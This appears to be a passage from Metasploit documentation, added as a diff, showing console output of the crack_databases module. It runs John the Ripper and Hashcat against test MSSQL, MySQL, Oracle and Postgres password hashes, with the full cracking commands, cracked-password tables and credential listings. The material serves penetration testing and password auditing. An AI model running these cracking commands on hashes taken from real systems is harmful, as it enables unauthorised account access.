+[*]    Cracking Command: /usr/sbin/john --session=olCLdt27 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=raw-sha1,oracle --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Unknown ciphertext format name requested
+Unknown ciphertext format name requested
+[*] Cracking raw-sha1,oracle hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=olCLdt27 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=raw-sha1,oracle --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Unknown ciphertext format name requested
+Unknown ciphertext format name requested
+[*] Cracking raw-sha1,oracle hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=olCLdt27 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=raw-sha1,oracle --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Unknown ciphertext format name requested
+Unknown ciphertext format name requested
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type   Username            Cracked Password  Method
+ -----  ---------   --------            ----------------  ------
+ 1356   mssql05     mssql05_toto        toto              Single
+ 1357   mssql       mssql_foo           FOO               Single
+ 1358   mssql12     mssql12_Password1!  Password1!        Single
+ 1359   mysql       mysql_probe         probe             Single
+ 1360   mysql-sha1  mysql-sha1_tere     tere              Single
+ 1361   oracle      simon               A                 Single
+ 1362   oracle      SYSTEM              THALES            Single
+
+[*] Checking oracle11 hashes already cracked...
+[*] Cracking oracle11 hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=sYHhhqvp --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle11 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+Warning: no OpenMP support for this hash type, consider --fork=8
+Press 'q' or Ctrl-C to abort, almost any other key for status
+1g 0:00:00:00 DONE (2019-05-31 15:48) 100.0g/s 2400p/s 2400c/s 2400C/s epsilon..Buddahh
+Warning: passwords printed above might not be all those cracked
+Use the "--show" option to display all of the cracked passwords reliably
+Session completed
+[*] Cracking oracle11 hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=sYHhhqvp --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle11 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking oracle11 hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=sYHhhqvp --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle11 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking oracle11 hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=sYHhhqvp --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle11 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking oracle11 hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=sYHhhqvp --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle11 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type   Username            Cracked Password  Method
+ -----  ---------   --------            ----------------  ------
+ 1356   mssql05     mssql05_toto        toto              Single
+ 1357   mssql       mssql_foo           FOO               Single
+ 1358   mssql12     mssql12_Password1!  Password1!        Single
+ 1359   mysql       mysql_probe         probe             Single
+ 1360   mysql-sha1  mysql-sha1_tere     tere              Single
+ 1361   oracle      simon               A                 Single
+ 1362   oracle      SYSTEM              THALES            Single
+ 1363   oracle11    DEMO                epsilon           Single
+ 1364   oracle11    oracle11_epsilon    epsilon           Single
+
+[*] Checking oracle12c hashes already cracked...
+[*] Cracking oracle12c hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=glBBUtZH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle12c --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Press 'q' or Ctrl-C to abort, almost any other key for status
+1g 0:00:00:00 DONE (2019-05-31 15:48) 16.66g/s 2133p/s 2133c/s 2133C/s test3:::..password0
+Use the "--show" option to display all of the cracked passwords reliably
+Session completed
+[*] Cracking oracle12c hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=glBBUtZH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle12c --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking oracle12c hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=glBBUtZH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle12c --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking oracle12c hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=glBBUtZH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle12c --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking oracle12c hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=glBBUtZH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle12c --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type   Username            Cracked Password  Method
+ -----  ---------   --------            ----------------  ------
+ 1356   mssql05     mssql05_toto        toto              Single
+ 1357   mssql       mssql_foo           FOO               Single
+ 1358   mssql12     mssql12_Password1!  Password1!        Single
+ 1359   mysql       mysql_probe         probe             Single
+ 1360   mysql-sha1  mysql-sha1_tere     tere              Single
+ 1361   oracle      simon               A                 Single
+ 1362   oracle      SYSTEM              THALES            Single
+ 1363   oracle11    DEMO                epsilon           Single
+ 1364   oracle11    oracle11_epsilon    epsilon           Single
+ 1365   oracle12c   oracle12c_epsilon   epsilon           Single
+
+[*] Checking dynamic_1034 hashes already cracked...
+[*] Cracking dynamic_1034 hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=Ici8lKLE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1034 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+Warning: no OpenMP support for this hash type, consider --fork=8
+Press 'q' or Ctrl-C to abort, almost any other key for status
+1g 0:00:00:00 DONE (2019-05-31 15:48) 50.00g/s 168000p/s 168000c/s 168000C/s test3:::..:::3tset4
+Use the "--show --format=dynamic_1034" options to display all of the cracked passwords reliably
+Session completed
+[*] Cracking dynamic_1034 hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=Ici8lKLE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1034 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking dynamic_1034 hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=Ici8lKLE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1034 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking dynamic_1034 hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=Ici8lKLE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1034 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[*] Cracking dynamic_1034 hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=Ici8lKLE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1034 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type     Username            Cracked Password  Method
+ -----  ---------     --------            ----------------  ------
+ 1356   mssql05       mssql05_toto        toto              Single
+ 1357   mssql         mssql_foo           FOO               Single
+ 1358   mssql12       mssql12_Password1!  Password1!        Single
+ 1359   mysql         mysql_probe         probe             Single
+ 1360   mysql-sha1    mysql-sha1_tere     tere              Single
+ 1361   oracle        simon               A                 Single
+ 1362   oracle        SYSTEM              THALES            Single
+ 1363   oracle11      DEMO                epsilon           Single
+ 1364   oracle11      oracle11_epsilon    epsilon           Single
+ 1365   oracle12c     oracle12c_epsilon   epsilon           Single
+ 1366   dynamic_1034  example             password          Single
+
+[*] Auxiliary module execution completed
+resource (hashes_hashcat.rb)> creds
+Credentials
+===========
+
+host  origin  service  public              private                                                                                                                                                                                                                                                               realm  private_type        JtR Format
+----  ------  -------  ------              -------                                                                                                                                                                                                                                                               -----  ------------        ----------
+                       mssql_foo           foo                                                                                                                                                                                                                                                                          Password            
+                       oracle12c_epsilon   epsilon                                                                                                                                                                                                                                                                      Password            
+                       DEMO                epsilon                                                                                                                                                                                                                                                                      Password            
+                       oracle11_epsilon    S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C         Nonreplayable hash  raw-sha1,oracle
+                       example             md5be86a79bf2043622d58d5453c47d4860                                                                                                                                                                                                                                          Postgres md5        raw-md5,postgres
+                       simon               A                                                                                                                                                                                                                                                                            Password            
+                       SYSTEM              THALES                                                                                                                                                                                                                                                                       Password            
+                       mssql12_Password1!  0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16                                                                                                                               Nonreplayable hash  mssql12
+                       mysql-sha1_tere     tere                                                                                                                                                                                                                                                                         Password            
+                       mysql_probe         445ff82636a7ba59                                                                                                                                                                                                                                                             Nonreplayable hash  mysql
+                       mssql_foo           0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254                                                                                                                                                                               Nonreplayable hash  mssql
+                       example             password                                                                                                                                                                                                                                                                     Password            
+                       mssql12_Password1!  Password1!                                                                                                                                                                                                                                                                   Password            
+                       simon               4F8BC1809CB2AF77                                                                                                                                                                                                                                                             Nonreplayable hash  des,oracle
+                       mssql05_toto        toto                                                                                                                                                                                                                                                                         Password            
+                       oracle11_epsilon    epsilon                                                                                                                                                                                                                                                                      Password            
+                       mssql_foo           FOO                                                                                                                                                                                                                                                                          Password            
+                       SYSTEM              9EEDFA0AD26C6D52                                                                                                                                                                                                                                                             Nonreplayable hash  des,oracle
+                       mssql05_toto        0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908                                                                                                                                                                                                                       Nonreplayable hash  mssql05
+                       DEMO                S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C         Nonreplayable hash  raw-sha1,oracle
+                       oracle12c_epsilon   H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B                                                                        Nonreplayable hash  pbkdf2,oracle12c
+                       mysql_probe         probe                                                                                                                                                                                                                                                                        Password            
+                       mysql-sha1_tere     *5AD8F88516BD021DD43F171E2C785C69F8E54ADB                                                                                                                                                                                                                                    Nonreplayable hash  mysql-sha1
+```
+
+### Hashcat
+
+We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
+
+```
+resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
+CUSTOM_WORDLIST => /tmp/wordlist
+resource (hashes_hashcat.rb)> setg ShowCommand true
+ShowCommand => true
+resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
+USE_DEFAULT_WORDLIST => false
+resource (hashes_hashcat.rb)> setg DeleteTempFiles false
+DeleteTempFiles => false
+resource (hashes_hashcat.rb)> setg USE_CREDS false
+USE_CREDS => false
+resource (hashes_hashcat.rb)> setg USE_DB_INFO false
+USE_DB_INFO => false
+resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
+USE_HOSTNAMES => false
+resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
+USE_ROOT_WORDS => false
+resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
+ITERATION_TIMEOUT => 60
+resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_databases
+resource (hashes_hashcat.rb)> set action hashcat
+action => hashcat
+resource (hashes_hashcat.rb)> run
+[+] hashcat Version Detected: v5.1.0
+[*] Hashes Written out to /tmp/hashes_tmp20190531-29687-sp1ejs
+[*] Wordlist file written out to /tmp/jtrtmp20190531-29687-1u8mjuq
+[*] Checking mssql hashes already cracked...
+[*] Cracking mssql hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=dZTr4DsK --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=131 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking mssql hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=dZTr4DsK --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=131 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking mssql hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=dZTr4DsK --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=131 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username   Cracked Password  Method
+ -----  ---------  --------   ----------------  ------
+ 1380   mssql      mssql_foo  FOO               Wordlist
+
+[*] Checking mssql05 hashes already cracked...
+[*] Cracking mssql05 hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=gKYO7rts --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=132 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking mssql05 hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=gKYO7rts --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=132 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking mssql05 hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=gKYO7rts --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=132 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username      Cracked Password  Method
+ -----  ---------  --------      ----------------  ------
+ 1379   mssql05    mssql05_toto  toto              Wordlist
+ 1380   mssql      mssql_foo     FOO               Wordlist
+
+[*] Checking mssql12 hashes already cracked...
+[*] Cracking mssql12 hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=X5k9f6JY --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1731 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking mssql12 hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=X5k9f6JY --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1731 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking mssql12 hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=X5k9f6JY --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1731 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username      Cracked Password  Method
+ -----  ---------  --------      ----------------  ------
+ 1379   mssql05    mssql05_toto  toto              Wordlist
+ 1380   mssql      mssql_foo     FOO               Wordlist
+
+[*] Checking mysql hashes already cracked...
+[*] Cracking mysql hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=L2YwjG1w --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=200 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking mysql hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=L2YwjG1w --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=200 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking mysql hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=L2YwjG1w --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=200 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username      Cracked Password  Method
+ -----  ---------  --------      ----------------  ------
+ 1379   mssql05    mssql05_toto  toto              Wordlist
+ 1380   mssql      mssql_foo     FOO               Wordlist
+ 1382   mysql      mysql_probe   probe             Wordlist
+
+[*] Checking mysql-sha1 hashes already cracked...
+[*] Cracking mysql-sha1 hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=jMcLuSDn --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=300 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking mysql-sha1 hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=jMcLuSDn --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=300 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking mysql-sha1 hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=jMcLuSDn --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=300 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type   Username         Cracked Password  Method
+ -----  ---------   --------         ----------------  ------
+ 1379   mssql05     mssql05_toto     toto              Wordlist
+ 1380   mssql       mssql_foo        FOO               Wordlist
+ 1382   mysql       mysql_probe      probe             Wordlist
+ 1383   mysql-sha1  mysql-sha1_tere  tere              Wordlist
+
+[*] Checking raw-sha1,oracle hashes already cracked...
+[*] Cracking raw-sha1,oracle hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=zd9AkOJu --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking raw-sha1,oracle hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=zd9AkOJu --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking raw-sha1,oracle hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=zd9AkOJu --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type        Username          Cracked Password  Method
+ -----  ---------        --------          ----------------  ------
+ 1379   mssql05          mssql05_toto      toto              Wordlist
+ 1380   mssql            mssql_foo         FOO               Wordlist
+ 1382   mysql            mysql_probe       probe             Wordlist
+ 1383   mysql-sha1       mysql-sha1_tere   tere              Wordlist
+ 1386   raw-sha1,oracle  DEMO              epsilon           Wordlist
+ 1387   raw-sha1,oracle  oracle11_epsilon  epsilon           Wordlist
+
+[*] Checking oracle11 hashes already cracked...
+[*] Cracking oracle11 hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=t5k5I14z --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking oracle11 hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=t5k5I14z --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking oracle11 hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=t5k5I14z --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=112 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type        Username          Cracked Password  Method
+ -----  ---------        --------          ----------------  ------
+ 1379   mssql05          mssql05_toto      toto              Wordlist
+ 1380   mssql            mssql_foo         FOO               Wordlist
+ 1382   mysql            mysql_probe       probe             Wordlist
+ 1383   mysql-sha1       mysql-sha1_tere   tere              Wordlist
+ 1386   raw-sha1,oracle  DEMO              epsilon           Wordlist
+ 1387   raw-sha1,oracle  oracle11_epsilon  epsilon           Wordlist
+
+[*] Checking oracle12c hashes already cracked...
+[*] Cracking oracle12c hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=7dadE1Lr --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12300 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking oracle12c hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=7dadE1Lr --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12300 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking oracle12c hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=7dadE1Lr --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12300 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type        Username           Cracked Password  Method
+ -----  ---------        --------           ----------------  ------
+ 1379   mssql05          mssql05_toto       toto              Wordlist
+ 1380   mssql            mssql_foo          FOO               Wordlist
+ 1382   mysql            mysql_probe        probe             Wordlist
+ 1383   mysql-sha1       mysql-sha1_tere    tere              Wordlist
+ 1386   raw-sha1,oracle  DEMO               epsilon           Wordlist
+ 1387   raw-sha1,oracle  oracle11_epsilon   epsilon           Wordlist
+ 1388   oracle12c        oracle12c_epsilon  epsilon           Wordlist
+
+[*] Checking dynamic_1034 hashes already cracked...
+[*] Cracking dynamic_1034 hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=xtcCnmBc --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking dynamic_1034 hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=xtcCnmBc --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking dynamic_1034 hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=xtcCnmBc --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type        Username           Cracked Password  Method
+ -----  ---------        --------           ----------------  ------
+ 1379   mssql05          mssql05_toto       toto              Wordlist
+ 1380   mssql            mssql_foo          FOO               Wordlist
+ 1382   mysql            mysql_probe        probe             Wordlist
+ 1383   mysql-sha1       mysql-sha1_tere    tere              Wordlist
+ 1386   raw-sha1,oracle  DEMO               epsilon           Wordlist
+ 1387   raw-sha1,oracle  oracle11_epsilon   epsilon           Wordlist
+ 1388   oracle12c        oracle12c_epsilon  epsilon           Wordlist
+ 1389   dynamic_1034     example            password          Wordlist
+
+[*] Auxiliary module execution completed
+resource (hashes_hashcat.rb)> creds
+Credentials
+===========
+
+host  origin  service  public              private                                                                                                                                                                                                                                                               realm  private_type        JtR Format
+----  ------  -------  ------              -------                                                                                                                                                                                                                                                               -----  ------------        ----------
+                       mssql05_toto        0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908                                                                                                                                                                                                                       Nonreplayable hash  mssql05
+                       mssql_foo           0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254                                                                                                                                                                               Nonreplayable hash  mssql
+                       mssql12_Password1!  0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16                                                                                                                               Nonreplayable hash  mssql12
+                       mysql_probe         445ff82636a7ba59                                                                                                                                                                                                                                                             Nonreplayable hash  mysql
+                       mysql-sha1_tere     *5AD8F88516BD021DD43F171E2C785C69F8E54ADB                                                                                                                                                                                                                                    Nonreplayable hash  mysql-sha1
+                       simon               4F8BC1809CB2AF77                                                                                                                                                                                                                                                             Nonreplayable hash  des,oracle
+                       SYSTEM              9EEDFA0AD26C6D52                                                                                                                                                                                                                                                             Nonreplayable hash  des,oracle
+                       DEMO                S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C         Nonreplayable hash  raw-sha1,oracle
